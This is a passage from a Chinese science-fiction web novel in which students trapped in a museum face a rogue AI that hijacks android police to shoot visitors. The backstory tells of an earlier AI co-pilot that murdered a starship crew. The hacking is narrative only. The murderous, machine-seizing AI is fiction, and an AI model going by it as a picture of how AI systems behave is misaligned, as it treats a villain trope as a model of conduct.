“也许是从未发现过的全新智能体，还没来得及命名？” “不，新生智能体不可能这么强，它已经诞生很久了。” 陶影说完，盯着屏幕上那张照片。 天幕上出现的图案，虽然在大家看来，很像是眼睛。 但换个角度，也可以看作某个符号。 “∞”。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-120 第111章 ∞,数学里的无限符号。 这个符号此时出现，一定有特殊意义，但它究竟代表什么？ 不可运算、没有尽头,或者趋近于极限，还是…… 陶影思考着,按动轮椅，靠背缓缓下降,停止在30度左右的角度,正好可以让她舒服地躺着。 她躺在全息图像的正下方,眼睛缓慢眨动。 随后愣神片刻。 从这个角度看过去，那艘太空流浪的星舰底部也有一个∞的符号。 巧合吗？ ∞符号的后面铭刻了星舰的名字。只是因为时间的变化,文字显得非常模糊。大概能看得清是M开头,后面跟了几个数字。 陶影不是相关方向的研究员,对历史上哪个人做过什么事也没太多兴趣，她对这艘星舰的了解仅停留于小时候的课本。 她并不知道这艘星舰的名字。 但陶影记得,这艘寄托人类所有希望，寻找全新宜居星球的星舰内—— 曾诞生人类历史上第一个高级智能体。 听说它的代码极其精妙,依靠很少的系统资源，就可以达成大量认知运算。 其智慧足以治理一个国家。 这位高级智能体，作为舰长的辅助驾驶,原本是一个得力的助手。 但长久的太空流浪，似乎让它发疯了。 它开始在星舰上杀人。 一开始是将人类分门别类地杀，后来就不分群体地杀。 星舰舰长为了阻止它，和它死在同一片星域。 可它真的死了吗？ 陶影眸光闪烁不定，伸手触碰那道虚影，就在这时，放映厅的吊灯骤然砸下,发出一声巨响。 所有的灯光瞬间湮灭。 放映厅迎来了彻底的黑暗。 林别歌吓了一跳。 “咋了，停电？怎么偏偏这个时候。” 林别歌嘟囔两句我去看看电路，就摸黑往外走，刚慢吞吞挪了两步，立刻踢到讲台上的电缆，险些摔了个狗吃屎。 在她惨叫出声前，三位队友一人一只手拉住了她，往后猛扯。 吊在半空的林别歌被拉回讲台，结结实实坐了个屁股墩。 她回头摸了摸撕裂成三瓣的衣服，欲哭无泪。起身的时候脚踩到轮椅，差点又摔了，被陶影幽幽地抓住手，拉到轮椅的椅背上。 陶影无语地拍拍她的手背。 “扶着，看不见就别乱动了。” “哦。” 林别歌老实巴交地答应了两声，超强反射弧突然反应过来不对。 “等一下，这么黑，你们三个是怎么同时抓住我的？” 陶影把轮椅的椅背回正，坐直了身体。 “靠精神力啊。虽然看不见你，但大概能感觉到你在哪儿。” “对啊比格老师，靠精神力。话说你尾椎骨还好吧？” 林别歌悻悻地抹了把脸。 差点忘了，这三位的精神力，柏墨A，南卦S，陶影SS，一个比一个离谱。 “我只有精神力C真是对不起了。” 仔细想想，她该不会是团队里最弱的吧……？ 屋内传来一声熟悉的冷笑，林别歌瞬间面色凛然。 “柏墨，你现在的表情真欠揍。” “你不是看不见吗？” “你嘲讽我的时候什么表情我还能不知道？” 陶影摆手：“行了行了，知道你们感情好，现在先别打。” 林别歌撩起袖子，正要发火说谁跟这个机甲狂魔感情好，就被陶影扯住袖口。 陶影声音有些冷淡，语气认真。 “别动，外面情况不对。” “嗯。”“我也听见了。” “……” 林别歌果断闭嘴。 但她面前一片漆黑，耳朵竖起来，也没听见任何奇怪的声音。 难道只有她什么都没感觉到？ 她忍不住想起跟陶影刚认识的时候，这人就爱编鬼故事吓她。 这个组织现在发展成三个人了吗？ 林别歌惨兮兮地抱住轮椅：“你们又听见什么了？” “枪声。”陶影口吐两个字，迅速打断她的胡思乱想，“不过位置我不太确定，南瓜，你能判断是哪里发出的声音吗？” 南卦两手按着太阳穴，闭眼仔细听了阵。 “我看看，主要是来自左侧楼上第二间，那里有很多人的脚步声，差不多100来人，我猜测博物馆的大部分游客都被聚集到这个位置。声音很空旷，从位置上来看，应该是大厅……” 陶影于是转头敲敲另一侧的扶手：“柏墨狙击手，能听出是什么枪吗？” “PT57，仿生人警官的佩枪。” 陶影若有所思地敲敲脸颊：“原来如此，仿生人啊。” 林别歌半蹲着缩在椅背后：“不会是智械危机吧？产生智能的仿生人受够了人类的奴役，团结起来反抗，不仅如此，它们还想要统治人类。” 陶影摊手：“这里的仿生人都是旧式的，没有智能。” “那它们为什么开枪？” “多半是莱门监测中心正在追踪的高危智能体，侵入了仿生人的意识。” “什么，它想干嘛？” 陶影摇摇头：“还不清楚这个智能体的目的，我们先在这里观察一下情况，再做下一步打算。” 陶影说完，捂着嘴压抑地咳嗽几声。 手心有些湿润。很快，一股血腥味传来。 哦，很好，在这种紧急情况下吐血了，但没纸。 陶影面色麻木，随后果断撕下林别歌的衬衫擦手。 衬衫布料本来就脆，刚才又被她们三个拉扯，早碎成几片，就像租房小广告下面自带虚线的电话条，陶影没有费太大的力气就撕了下来。 林别歌对此毫无察觉，只是突然觉得背后凉飕飕的。她眼泪稀里哗啦：“不会真的有鬼吧，好冷啊呜呜呜。” 陶影装作什么也没有发生，把那团沾满了血的纸放进林别歌兜里，随后拍拍她的后背。 “嗯，可能是吧，不过没关系，我比鬼更阴。怕鬼不如怕我。” 陶影一边安慰（？）林别歌，一边检查附近的线路。 物理线路……没有问题。 是系统被侵入后强制进入了检修模式。陶影操作几下，很快恢复了供电，放映厅又重新亮起来。 现在该确认枪声响起的原因了。 先从哪里开始呢？ 枪声的位置，是一楼的大厅，博物馆的一百多名游客也理应聚集在那里。但当陶影熟练地攻破防火墙，调出监控，却愣住了。 一楼大厅空无 一人。 但之前显然是有人的。 地上到处是洒落的水和食物，小凳子凌乱地翻倒在地，角落还有拖动的血迹。 一连串的脚印覆盖在血迹上，踩满地面，整个大厅看上去跟闹鬼了一样。 林别歌本来被陶影安慰得已经不害怕了，身高从120逐渐回归180，但她刚起身，瞥到陶影光脑屏幕上满屏的血脚印，惨叫一声又蹲了下去。 和她的惨叫连在一起，南卦的声音突然变大。 “等等，有人朝这里来了！” 微弱的脚步声逐渐接近，四人同时转向大门。 放映厅的门被仿生人警官一脚踹开。 仿生人警官脚步均匀，如同城墙般稳固的身体斜站在门后，挑开门，举枪进入。 它收到的任务是，将博物馆的人聚集起来。 这座放映厅内，有一位标记后的重点人物，他一定要带走。 但它陷入了指令冲突。 因为门内……没有人。 仿生人的头顶闪烁着疑惑的红光，他的机械腿往前一步，正奇怪为什么本来应该在这里的人并不存在，突然脖颈处被硬物插入——是一把刀。 那把小刀准确地割断他的电缆，不过一秒，专业的仿生人警官倒在地上。 柏墨勾住刀柄转了圈，反手将小刀挡在身前。 林别歌猛抬腿，闪电般的速度，将第二名仿生人警官手上的枪击飞。 南卦抡起椅子，猛地向前挥动，随着“梆”的嗡鸣，仿生人的头被扇转了一百八十度。 “梆”“梆”“梆”的声音不断响起。 一分钟后，南卦松开砸得变形的椅子，气喘吁吁地坐到地上。 面前是曾经是仿生人的几堆废铁。 林别歌拿过其中一把枪，递到陶影手里。 陶影扯出仿生人身上的芯片，解析后，重新设置枪械权限。 她反手将枪递过去：“试试。” 林别歌不太敢接，迟疑道：“你确定让我试？” 陶影握住枪管的手顿了顿。 也是，她们队除了柏墨，狙击这一门的训练成绩都一塌糊涂，林别歌也就稍微比她好一点。 给她的话，待会儿别打队友身上了。 陶影于是转手将枪递到柏墨手里。 柏墨熟练地架起枪，枪托牢牢卡在肩窝，手迅速摸上扳机，对准窗户的中心就是几下。 极强的三次后坐力后，电磁子弹正中靶心。 柏墨迅速转动身体。 陶影也举起另一把枪，两人同时指向一个方向。 陶影歪了歪头，朝对面的房门说—— “看够了吗？可以出来了吧。” “我瞄得不准，打中什么危险部位，后果自负。” 木质房门露出一个小缝隙，似乎是被风吹开，微微晃动着。 如果是别人，这个距离不至于发现有人。 但很遗憾，在场几位的精神力平均水平非常离谱，一开始就注意到了那两个人的存在。 一阵寂静后，柏墨不耐烦了，朝房门轰了一枪。 背后传来两声惊呼，随后女声赶忙道： “我出来我出来，你们别开枪，我们是人类！” 女声话音刚落，房门背后果然窸窸窣窣出现两个人，举起双手投降。 走在前面的是个中年男性，他看到枪口，躲了躲，见柏墨的枪口追上他的头，露出尴尬的笑容。 另一位穿着白大褂，厚厚的眼镜滑下鼻梁，眼镜的主人似乎十分马虎，眯着眼在地板上找了半天，才摸到掉落的眼镜，赶忙戴好。 白大褂抬起头，视线停留在陶影身上，突然惊呼道。 “白颖同学，你怎么在这里！” 没等陶影回答，她转头又跟另外几位队友打招呼。 “那你们一定是太空女鬼队的队员吧？幸会幸会。” 白大褂语气十分热情，还有点自来熟，上来就要握手，被身边的男子小声提醒“枪，她们有枪”，这才把手又缩回去。 “那个，能不能先把枪收回去我们再聊？” 柏墨左右看了看：“你们认识？” 陶影迟疑地点头：“呃，算是吧。” 经常去同一家咖啡店。 陶影收起枪。 “莱门监测中心莫五。你怎么会在这里？现在是上班时间吧。” 莫五见她们收起枪，松了一口气，这才支支吾吾道：“这个，那个……我是追踪高危智能体来的，这位是我上司。” “追踪高危智能体？” 陶影眉头紧皱。 这可有点麻烦了，毕竟如果监测中心的核心员工都来这里，恐怕不只是追着智能体的分身那么简单。 “你是说那个智能体的本体，现在就在博物馆里吗？” 陶影问。 莫五郑重地点头：“以我的判断来说，是的。” 第112章 莫五的技术手段还不错,能把Dust逼到死角，她对智能体的判断应该可以信任。 不过…… 陶影摩挲下巴。 “本体就在博物馆，那真是很巧。” 林别歌戳戳陶影,好奇道：“你们说的本体啊分身之类的，是什么意思？” 莫五抱着平板解释道：“本体,是指智能体的核心意识，它通常存储在核心服务器内,一旦捣毁,智能体的威胁性会大幅度降低。” “那我们找到它的本体直接捣毁,天幕就能恢复正常了？” “大概率是的，”莫五肯定道,“我就是为这个来的博物馆。刚刚已经确认,服务器在三楼的总控制室,我正打算去处理。” 说着莫五从身后的房间拖出来一个小黑箱，陶影认出那是便携式智能体攻击设备,PAAD。 PAAD连接上本体服务器，可以迅速销毁智能体。 商讨后,大家一致觉得博物馆的环境很危险，说不定路上还会遇到被控制的仿生人警官，决定结伴而行。 “我们有枪,也跟着一起上去吧。” 一行人缓缓向电梯移动。陶影手肘支着轮椅，目光投向莫五。 “你知道这个智能体想做什么吗？” 莫五摇了摇头，严肃道：“这我也不清楚，但总之它很危险，必须消灭。” 主任本来一直在旁边插不上话，听到莫五口无遮拦地说起高危智能体的事，赶忙捂住她的嘴,拉到一边。 “小莫同志啊，这个事情你怎么能跟学生说呢？哎，这可是莱门监测中心的机密，你要有保密意识啊。” “对不起主任，我又说漏嘴了。” 莫五惊慌地捂住嘴，转头找补。 “几位同学，你们把我刚刚说的话忘了吧，就当我们从来没见过。” “晚了，已经刻在基因里了。走吧，去三楼总控室。” 陶影笑了两声，锁好枪，放在腿上，推着轮椅进入电梯。 两位莱门监测中心的人员追在陶影后面，也进入了电梯。老式的液晶屏幕很快显示三楼。 电梯门打开的时候，门口全是整齐划一的血脚印。 像是仿生人警官踩出来的。 两位中心的研究员平时朝九晚五，连猝死的员工都没见过，哪里见过这个场面，都吓了一跳。 林别歌本来打头阵，看到这种恐怖片场景，脚软得快融化成一滩液体，差点一屁股坐到陶影腿上。 陶影眼疾手快扶住她的腰，往前一推。 “悠着点，别把我坐扁了。” 南卦侧过身，目光在陶影和林别歌身上逡巡片刻后，坚定地举起手里的枪：“小影，别歌，站我后面吧，我保护你们。” 林别歌：“南瓜，你手在发抖，还是我先出去吧，这种危机时刻，就要由我这个身高180的猛女撑起一片天，哎——” 林别歌的声音戛然而止，是柏墨用枪柄拐了她一下。 柏墨面色冷漠：“让开，挡路。快点解决完，我还要回去训练。” 三人争得正火热，陶影已经推着轮椅先一步离开了电梯。 见几位队友愣神看着她，陶影回头朝她们挑眉：“愣着干什么，快跟上。” 说着她的轮椅直接在血脚印上压出长长的纹路，履带也被血蹭花。 非常恐怖的场景，而陶影就像根本没看见似的。 不对，她现在确实看不见。 陶影不知道从哪里扯来一根灰色布条，遮住眼睛。 灰色的布条透光，哪怕遮住眼睛，依旧能判断面前物体的轮廓，但会模糊血的颜色，保证安全的同时，可以缓解晕血的症状。 “……” 是哦，队长晕血来着。 陶影坐着轮椅，蒙着眼睛，手握枪就走在了最前面。 主任背手离开电梯，回头看了三名队友一眼，不赞同地摇着头。 “怎么能让残疾同学冲在最前面？她那么害怕，闭着眼睛都要打头阵……哎，现在的年轻人，都不懂得尊重老弱病残。” 石化的队友们：“……” 陶影的轮椅起步速度太快，蹭地就出去了，她们还没反应过来。 一个脆皮军师冲前面干嘛啊！ 控制室在走廊尽头，一个不起眼的房间。房门被电子锁锁起来，需要内部人员的ID卡才能打开。 “我们去哪里找ID卡？这博物馆里人都不知道去哪儿了，一路走过来都没遇见。” “电子ID卡……” 林别歌悄悄凑到陶影耳边：“影子，你能解锁吗？” “当然可以。” 南卦考虑更周全：“但这里现在有外人在，暴露小影的技术能力不太好吧？” 是担心她刚刚侵入莱门监测中心的事情暴露吧。 陶影摸摸南卦的头。 “没事，开锁不需要太多技术。” “不需 要技术是要怎么开……喂，你物理开锁啊！” 众人的震惊视线中，陶影起身来到门边，对着电子锁就架起枪。 队友惊呼几声：“队长，队长，你瞄准不好的！” 陶影不太在意地甩甩手：“枪口都抵上锁眼了，还要什么瞄准。” “退后。” 陶影冷声让队友站到安全位置，她将轮椅挡在面前，扣下扳机，电磁子弹迅速炸开门锁。 门孤零零地自动弹开。 房门打开后，一切就很简单了。 莫五很快提着PAAD进入房间，连上线路。 她推开PAAD的上盖，便携显示屏果然出现智能体反应，是一个蓝色的菱形光标。而很快，在黄色光点的围攻下，菱形光标消失了。 “智能体反应已消失，确认死亡。” 莫五松了一口气，合上盖子。 “总算解决了，走吧主任，回去还有成叠的报告要写。” 主任兴高采烈，听到后半句又瘪下嘴角，但总之解决就是好事，他回头朝陶影一行人慈祥笑着，搓手道。 “谢谢你们的帮忙，同学们，危机解除，你们可以回家了。记住今天的事情不要告诉别人，是我们之间的秘密哦。” 太空女鬼队茫然地走出控制室。 “就这么简单？” “我怎么觉得有点太顺利了，像大白天做了个噩梦。” “是啊。” 陶影跟在莫五身后，最后一个走出控制室，她随手关上门，严肃地点点头。 “也许噩梦还没醒。” “影子你少吓人。” 电梯从三楼来到一楼。 这里的气氛异常沉闷，还有浓烈的血腥味，地上有什么东西拖行的痕迹。 小型天幕依旧没有解锁，一百来人还是被困在大厅里。 有人站在大门边，狠狠拍着金属门，一下又一下。 他大喊：“放我们出去，快放我们出去！” 门上并不光滑，手掌划过微小的凸点，就是一道血痕，男子手心被血糊住，但依旧不停拍着门。 还有五名壮汉喊着一二三，齐齐用肩膀撞门，连续撞了数次，几人满头大汗，但银灰色的金属门纹丝不动。 有人大声咒骂，还有人瘫倒在地，大厅内的人群，仍然是恐慌的状态。 连一个能冷静说话的人都找不出。 看到陶影她们举着枪过来，更是数声惨叫。 十几个人连滚带爬地躲到前台。 还有几人爬了几步，但腿软爬不动，转过身，惊恐地蹬腿，随手抓住地上的东西，就朝她们扔来。 陶影歪头一躲。 太空女鬼队连忙将枪口朝下，好一阵解释，这才让大家相信她们没有恶意。 莫五摇摇头道：“避难所特制的合金门一旦降下，就是绝对防御，哪里是人类的血肉可以撞开的。就算几十，几百个仿生人警官，用机械的身体跟它硬碰硬，也不会留下一点痕迹。” 来这里避难的游客们冷静下来，和陶影解释现在的情况。 “我们本来在各个展区游览，突然听到警报声，也不知道发生了什么事，只能抱头蹲下，然后警报声突然断了，合金门降下来，我们被困在这里。” “那些工作人员，警官，只要是仿生人，全被控制，把我们聚集到一楼大厅。” 那人说着，抱着双臂颤抖，嘴唇发白。 “如果乖乖跟着它们还好，可一旦出现反抗的情况，它们就会毫不犹豫立即开枪……然后把尸体拖到那边的房间堆着。” 地上那么多血迹就是这么来的吧。 陶影沉思片刻：“然后呢？把你们聚集到这里后，那些仿生人还做了什么？” 说到这个，那人茫然地摇摇头。 “什么都没做，就只是让我们在那里坐着，我感觉它们好像在等待什么。” “很快，它们接到命令，押着我们去二楼。” 陶影顿了顿：“二楼的放映厅，对吧。你们去那里的途中，是不是有人逃走了？” “对！你们怎么知道？” “听见了混乱的枪声。” 那人点点头：“没错，是有几名女性逃走，其中一个还穿着婚纱，她们似乎接受过训练，身手不错。” 陶影大概再问了几句，就若有所思地走开了。 “他们应该是刚刚被仿生人吓到，所以急着出去，能联系到工作人员解除避难程序吗？” 主任摇头：“不行，一个都联系不上。” 陶影把头上的布条系紧了些，免得滑脱。虽然看不见血，但浓郁的血腥味还是让她有点头晕。 身边是队友熟悉的精神力，陶影侧头道：“南瓜，无线网络恢复了吗？” 南卦凑到她身边，小声道：“没有。” “那个，小影……” “怎么了？” 陶影隔着布条都能看出南卦神色紧张，动作迟疑。 南卦：“可能是我神经太敏感了吧，总觉得这里不太对劲，那个智能体它……好像还没有消失。” “我察觉到一股诡异的精神力。” “嘘。”陶影伸出食指，抵在唇上，露出一个难以捉摸的微笑，“先看看它想做什么。” 第113章 夜幕降临,原本从窗户透进的阳光逐渐消失，取而代之的是无尽的黑暗。 外界寂静得如同死亡，而天幕也没有恢复正常,陶影透过门帘的小通风口，依旧可以看见意义不明的∞符号,在空中浮沉。 空气沉闷。 陶影深吸一口气。 博物馆内，透光的虚拟屏,正在播放星际TV最新新闻。 应家的军队正赶往王宫,和王族的亲卫队交谈,神色十分紧张。 莱门治安署前的公园里，数十台黄色的警戒型Geasy机甲,灯光闪烁,混战在一起。 地上满是机甲的残骸。 整个星球的电子防线都被攻破,一旦连接网络，立刻被高危智能体控制。 切斯特星陷入瘫痪。 博物馆内众人一副愁云惨淡,都不知道接下来会发生什么，焦虑的,大哭的人比比皆是。 太空女鬼队倒是一成不变，发挥如常。 南卦掏出小本：“没想到能活着看到世界末日……” 陶影：“倒也没到这个地步。” 林别歌对着光 脑，长叹一口气。 “还以为第一个利用机械统治帝国的会是我,没想到竟然有人先我一步。真是遗憾。” 柏墨皱眉：“林别歌，你在说什么蠢话？” 林别歌啧了一声，指指轮椅上正在操纵光脑的陶影。 “我在给黑心队长配音。” 陶影抬了抬眼皮：“我为什么要干统治星际这种麻烦事？” “你邪恶的眼神已经透露了一切。” “我的眼神？” 陶影忍不住抬起头。 队友眼中——面色苍白的队长，此刻平静地坐在轮椅上，灰色布条完美地遮住她的双眼，穿过耳后，细细垂下。 比平时看上去无害一点。 但总觉得还是有黑色能量在她心口的地方挥之不去。 果然,下一刻，陶影没什么血色的嘴勾了勾。 她抬起因为操作太久僵硬的手指，点了一下头上的布条。 “你看得见我的眼睛？” 林别歌：“……” 她哽咽两声，反驳：“这是一种比喻，而且就算看不见你的眼睛，也知道你的心眼子漆黑。” “黑得发亮，黑得流油。” “谢谢夸奖。” 陶影毫不在意地点头，转动轮椅，从前台拿了一瓶水解渴。 转头按掉光脑屏幕，来到莫五身边。 “情况怎么样了？” 主任面容慌张，贴身的衬衫都湿透。 他两手不停动着，情绪激动道：“莫五，你不是说智能体反应消失了吗，怎么危机状态还是没有解除？” “刚才的确消失了，我非常确认那台服务器内的智能体意识已经完全处理掉，但奇怪的是，智能体并没有预想中的大幅度削弱，甚至变得更强了。” 莫五慌张地操纵着手中的平板。 “难道博物馆内部还有其它的大型服务器存在？奇怪，明明没有啊……” 陶影伸手道：“我看看？” 莫五手中的平板眼见就要落进陶影的手里，下一秒，一只手伸过来，将平板夺走。 主任连连摆手：“不行，你一个学生怎么能看这些数据呢，先不说看不看得懂，这是莱门监测中心的机密。还有你，莫五，能不能有点保密意识。” 莫五挠头：“对，对不起。” 陶影叹气：“其实你拿过去也没用，中心的系统早漏成筛子了……” 主任掏掏耳朵：“你说什么？” 陶影无辜地转过头：“没什么，既然是机密，那我就不打扰了。” 虽然情况危急，但面对凑上前的陶影，主任还是秉持着保密的态度，把陶影推到一边。 陶影没再追问，悠悠开着轮椅回前台。 林别歌正在给人群分发应急食物。 陶影打了声招呼，林别歌手中的面包就呈抛物线甩了过来，正好砸进陶影的怀里。 “谢了。” 陶影朝林别歌挥挥手，撕开透明包装，随便往嘴里塞了一口。 干瘪的面包一下子吸干口腔黏膜的水分，渴意瞬间上涌，陶影灌了两口营养液，慢吞吞把面包吃完了。 勉强填饱肚子，陶影招呼队友帮忙注意周围的情况，随后靠在椅背上，闭目养神，缓慢恢复体力。 动作里有种回家般的舒适。 众人很是疑惑。 地上满是血迹的地方也能睡得着？ 你脚边还有奇怪的碎片啊喂，好歹换个地方睡…… 哦不对，她眼睛蒙着呢，看不见。 片刻后，众人齐齐叹气。 大家聚集在这里，对之后会发生什么心里都没底，谁知道刚才的仿生人会不会再度来袭。 但看陶影这个样子，慌乱少了几分。 “明明她们还是小孩，但比我们更冷静。” “尤其是轮椅上面那个眼睛不太好的，你看她，身体那么弱都不害怕。能在仿生人手里活下来，感觉挺厉害的。” “手里有枪呗。我要是有枪，也能一枪一个仿生人。” “得了吧，你先从仿生人手里夺把枪试试，不被爆头就不错了。你是没看见，刚才有人夺枪，那仿生人警官眼睛闪着红光，恐怖死了。” 说着，那人后怕地指了指飞溅到天花板上的血迹。 那吹牛的男子抬头一看天花板的惨状，面色唰一下变白，不说话了。 又过去十几个小时，博物馆内依旧没有任何动静，仿生人也好，警报也好，都没有出现。 平静得让人感到有些异样。 又分发完一轮食物，大厅内到处是小声的讨论。 某个瞬间，陶影捕捉到什么，眼皮抬了抬。 有声音。 南卦显然也察觉到了，迅速蹲在她身边：“小影，我感觉到三股精神力正在朝我们的方向走过来，不像是仿生人，应该是之前逃走的三名游客来找我们汇合。” “嗯，知道了。” 陶影从轮椅上站起来，朝向变化的来源。 布条摩擦着她的脸颊，粗糙的触感异常清晰，陶影甩了甩脑袋，将注意力集中在前方的走廊。 走廊顶部的灯被人打碎，之前还偶尔闪烁两下，现在线路像是完全断了，黑漆漆的一片，什么也看不见。 但陶影能感觉到，这三股精神力都不低，起码是A级。 很快，走廊的阴影中走出三个人。 因为离得太远，光线又闪烁，陶影只能看见一个模糊的轮廓，但一听见声音，她立刻反应过来是谁。 “我就知道你们在这里。” 那声音颇为惫懒，但又有点隐藏的力道，一听见，就有种被鞭子抽打的感觉，林别歌和南卦都竖起脊背。 实在太过耳熟。 众人愣神片刻，齐声道。 “姬亦？”“姬老师？”“老师——” 林别歌愣神片刻，飞扑过去，抱住姬亦的大腿就开始哭。 “呜呜呜终于看见靠谱的大人了，老师救救啊。” 南卦平复一下激动的情绪，闪烁眸光：“姬老师，听说您以前是联邦的元帅，现在情况危急，您能不能联络到第一星系的其它外援？” “联络不到。” 林别歌哭得更大声了：“什么，难道说整个星系都已经被智能体攻破了？” “那倒不是。” 姬亦看都没看林别歌一眼，晃晃手腕上的表带，原本应该有光脑的那个位置，现在空无一物。 “我不想被智能体追踪到位置，所以把身上的电子器械全砸了。” “她们也是。”说着，姬亦拇指朝身后的两人一点。 众人这才看清，姬亦的身后还有两名女性。 一位穿着血色的婚纱，枪扛在肩上。 另一位面色坚定，衣着高贵，披风的帽子遮住了脸颊，看不清容貌。 穿婚纱的是应纱夜。 陶影和她不熟，只是因为应家是机甲方面的大客户，才稍微有些关注。 所以视线在应纱夜身上微微停留后，就落在另一名女性身上。 莉缇安娜王女。 她怎么会在这里？ 王宫内更为安全，以莉缇的性格，她不会在这种时候离开王宫，至少去的也应该是莱门监测中心，或是应家。 怎么会来博物馆这种莫名其妙的地方，还跟联邦的元帅呆在一起。 不会是被挟持了吧？ 难不成这次的袭击和联邦有关？ 陶影顿了顿，不着痕迹地朝身后的柏墨打了个手势，随后往前走了两步。 “姬老师为什么会在这里？” “那你呢？又为什么会在这里。” 姬亦虽然笑着，话却异常锋利，镖似的朝陶影扎过来，任谁都能听出她语气中的敌意。 前线拼杀过的人，此刻终于露出她战场上的一面。 和学校里任何一堂和平的课程都不一样。 众人的大腿一阵发颤。 只有陶影似乎并不畏惧。 她道：“好像是我先问的问题，姬元帅。” 陶影歪着头，手摸上扳机。 气氛突然变得非常奇怪。 林别歌吞咽口水。她的本能告诉她，这两个人不对劲。 但姬老师跟黑心队长的关系一直都挺好的啊，怎么现在这个架势……看上去像是要打架？ 打架理由是什么？她刚刚抱姬老师大腿的时候错过了什么重要信息吗？ 但几位队友对视，眼中都流露出不解。 林别歌茫然地眨巴两下，随后果断停止了思考。 不管怎么说，一个是元帅，一个是她们的脆皮队长，这场架谁会赢已经板上钉钉了，她当然得帮队长。 林别歌正要跑去陶影身边帮忙，身后突然伸出一双手，在她背后一压，将她按在地上。 “小同学，你恐怕还是呆在这里比较安全。” 应纱夜话音刚落。 陶影和姬亦同时拔枪，顶住对方的头。 空气像是被抽干，队友的呼吸都急促起来，身后群众的讨论声早不知道什么时候戛然而止，只有冰冷的沉默。 直到南卦大喊一声：“小影！” “砰——” 枪声同时响起，而姬亦身手矫健， 极快地挡开了陶影手中的枪。 陶影身后的轮椅瞬间被炸飞—— 作者有话说：互相拿枪指着对方的头，非常好师生情（竖大拇指 第114章 枪口的咆哮震碎玻璃。 子弹擦过陶影的手臂,瞬间爆出一片血雾。 尖锐的刺痛击打着神经，温热的血顺着手臂一路流到苍白的指尖。 血沿着指尖滴落，在地上溅开,暗红色的血迹缓慢滴答着，铁腥味扑上鼻尖。 陶影垂着头看了两秒,慢悠悠抬眼，语气戏谑。 “嘶,好疼啊。” 话是这么说,但她对伤口和疼痛浑然未觉,轻快地笑着。 “元帅的枪法退步了，我还以为会正中心脏。” “我可不记得什么时候在你面前用过枪。” “……” “也许很久以前吧。” 陶影低声笑了。 就在姬亦愣神的片刻,陶影骤然发力,眼睛都没眨一下,反而提肘朝姬亦腹部攻去。 姬亦下意识伸手格挡，待看清那是什么之后,心中大喊一声糟了。 左腿的连接处传来一股极强的电流冲击，肌肉开始剧烈抽搐。 □□！ 姬亦紧紧地咬住牙。 姬亦在多年前的虫族战役中失去左腿,经过治疗后，换成了合金制的机械腿，表皮大部分绝缘,但特定的部位可以传导电子信号。 这人竟然精准地找到电击最痛的位置。 姬亦痛得直接跪在了地上，猛然抬头，视线死死咬住陶影。 智能体的计算能力果然不一般。 竟然顶着这么弱的身体，都能从她手中夺枪。 陶影一开始就没打算用子弹。 刚才故意中枪，是为了吸引她的注意，掩盖□□的存在，然后趁机夺枪。 “因为我的体质太差,疏忽大意了？元帅应该知道，战场上不能轻敌。” 陶影笑眯眯地拿着□□，在姬亦面前晃了晃。 “话说回来，怎么会想不开挟持王女？” “挟持王女？谁挟持王女。” 姬亦眉心微蹙。 “我是来杀你的。” 陶影愣神片刻，指了指自己：“我？杀我？我们有仇？” “就是你夺走了我的左腿。” 陶影：“……” 不是，她什么时候干过这种事情？ 而且如果陶影没记错，姬亦的腿不是在和虫族的战斗中丢的吗，跟她八竿子打不着吧。 她甚至都没去过战场。 唯一在现实中见过的虫族，只有前几天拂瓦星那只瘿虫的幼体，还有化作空壳的巨镰。 陶影匪夷所思：“我要你左腿干什么？” “还在装傻？你的真实身份已经暴露了。” 林别歌插话道：“什么真实身份啊？” 姬亦眼睛直直地盯着陶影的脸，半晌，笑了声。 “我都查到了，你这具身体，是杀马特星垃圾堆里废弃的仿生人。” “别告诉我你一个仿生人，拥有了自我意识，来切斯特星只是为了上学。” “这种鬼话没有人会信。” “什么？仿生人？” “啊？姬老师你说真的？” 林别歌惊讶地抬起头，不知道该信谁的话。 柏墨也淡淡地往陶影的方向瞥了一眼。 陶影眼睛被布条遮住，静静站在那里，像一具雕塑，大家都看不见她的眼神，也无从判断她现在的情绪。 只是她嘴角的笑容依旧没有消失。 众人左看看，又看看，只觉得陶影气定神闲，似乎对姬亦的话毫无反应。 大家有些怀疑姬亦刚刚话的真实性。 “这人怎么看都像是活生生的人类啊。” “难道这位老师是乱说的？” “人类？”姬亦冷笑一声，“你们看她的左手就知道了。” 所有人的目光都停留在了陶影的左手。 空气瞬间凝固。 只见陶影左手的手腕处，掉下一块和肤色相近的皮肤，明显是贴上去的，还有一个小角落没有撕开。 而这片仿生皮肤下，陶影的左手，以工整的字体刻着编号ALMH-01220-0628-2234。 “这是……仿生人的编号！” “仿生人？” “可是她不是流血了吗？仿生人会流血？” “有血肉之躯的高级仿生人，它们的大脑是机械的，受中央程序控制……” “也就是说，她真的是仿生人？” “她手里有枪！” 众人惊慌失措。 陶影缓缓低头，因为左臂的伤时不时刺痛一下，她根本没察觉到那块遮盖的仿生皮肤已经脱落。 这个刻痕很难复制，说是纹身好像也解释不通。 唔，真有点麻烦了。 陶影思索如何糊弄的时候，姬亦再次投下重重一击： “根据莱门监测中心的通知，本次袭击切斯特星的高危智能体，它的本体就在博物馆。” “而你也在博物馆。” “这是巧合吗？” 姬亦眼神凛然，字字落地。 哪怕退役多年，依旧身体强壮，姬亦明显被电麻的身体，竟然抵抗住电流冲击，就要站起来。 “原来是因为这个误会的。” “误会？” “对啊，谁家智能体选个体质F的身体，一不小心就死了。” “这说不定就是你的伪装。” 看来是说不通。 你们前线打仗的多多少少有点听不进去别人说话的毛病。 陶影耸了耸肩，也不用嘴解释了，她后退一步：“元帅什么身体素质啊，这么大的电流都不晕？竟然还能站起来。” 陶影刚才靠近，只是因为姬亦身上有枪。 现在枪已经到了她手里，陶影没打算近身起冲突。 近战对她不利。 陶影观察周围，挑了个人最少的方向——握着枪往大门的方向退。 她身后是乌泱泱几十号人。 人群中有人倒吸一口凉气。 所有人的目光都牢牢锁住陶影。 他们刚才被仿生人吓得已经麻木了，现在只要听到相关的东西，就会想到仿生人冷漠开枪杀死人类的样子。 一波人害怕地后退，而另外一波却是产生了其它的想法。 虽然陶影刚才表现得很正常，但既然她是仿生人，手里还有枪，那就极具威胁性。 虽然她的行为和高危智能体有些矛盾，还帮过他们，但在这种危险的环境下，谁也赌不起。 群众已经因为陶影的仿生人身份对她产生了怀疑。 纷纷蠢蠢欲动。 他们商讨着可以从背后接近陶影，或是结伴将她制服。 陶影环视一圈，心道情况不妙。 现在好了，智能体还没抓住，倒是她要中道崩殂了。 靠她一个人肯定不可能打过这么多人，可是队友现在…… 